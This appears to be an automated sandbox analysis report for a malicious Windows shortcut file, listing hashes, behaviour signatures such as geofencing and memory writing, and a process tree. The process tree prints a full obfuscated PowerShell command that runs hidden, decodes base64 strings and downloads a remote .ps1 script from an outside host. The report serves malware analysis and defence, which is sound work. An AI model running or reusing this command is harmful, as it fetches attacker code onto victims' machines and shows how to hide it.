Analysis

  • max time kernel
    98s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-06-2024 14:49

General

  • Target

    1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk

  • Size

    3KB

  • MD5

    2f92127c3459805b28da753c4d8b385f

  • SHA1

    2be762a573ce42e8beaa0483cd7a10c653ea3559

  • SHA256

    a0b5a87c0aaca2c906b6f331dd41477bf4f4b7f88ee23e80032db911170a1113

  • SHA512

    6adbb25fe60d3abc72558721f6ee37097d3a5474c54b6581efbc8201c98f6e260b0adbdb95fffce83eebb26ec7ea7e41529f09649239908ef51c86b8445e27a9

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPrOfIlE -wInDoWsTyLe hIdDe ;${_____/\__/=\/=\/=}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBhAHMAZABmAHMAZABhAGYAYQBzAGQAZgBhAHMA'))); ${___/=\_/=\____/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AGcAaAA2AHIAdABkAGgAdABmAGgAZABoAHQAZAA='))) ;${/==\/====\_/\_/=\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AHIAZwBoAGQAcgBoAGQAcwByAGgA'))); ${_/=\____/==\_/\/\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBkAGcAdABkAHIAdABoAGQAZgBoAGQAaAA='))); ${_/=\_/\/\/==\_/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGcAcgBzAGcAaAByAGQAaAB0AGcAcwA='))); (nEw-oBjEcT sYsTeM.nEt.wEbClIeNt).dOwNlOaDfIlE($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBwAGEAbgBlAGwALQBkAGEAcgBrAC4AYwBvAG0ALwBhAHAAcAAvAHoAZQBiAHIAYQAvADEAMgAuAHAAcwAxAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBjAHIAaQBwAHQALgBwAHMAMQA='))));p
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cuqftawr.wle.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4812-2-0x00007FF942A53000-0x00007FF942A55000-memory.dmp

    Filesize

    8KB

  • memory/4812-3-0x0000025D763D0000-0x0000025D763F2000-memory.dmp

    Filesize

    136KB

  • memory/4812-13-0x00007FF942A50000-0x00007FF943511000-memory.dmp

    Filesize

    10.8MB

  • memory/4812-14-0x00007FF942A50000-0x00007FF943511000-memory.dmp

    Filesize

    10.8MB

  • memory/4812-15-0x00007FF942A50000-0x00007FF943511000-memory.dmp

    Filesize

    10.8MB

  • memory/4812-19-0x00007FF942A50000-0x00007FF943511000-memory.dmp

    Filesize

    10.8MB

  • memory/4812-18-0x00007FF942A53000-0x00007FF942A55000-memory.dmp

    Filesize

    8KB

  • memory/4812-20-0x00007FF942A50000-0x00007FF943511000-memory.dmp

    Filesize

    10.8MB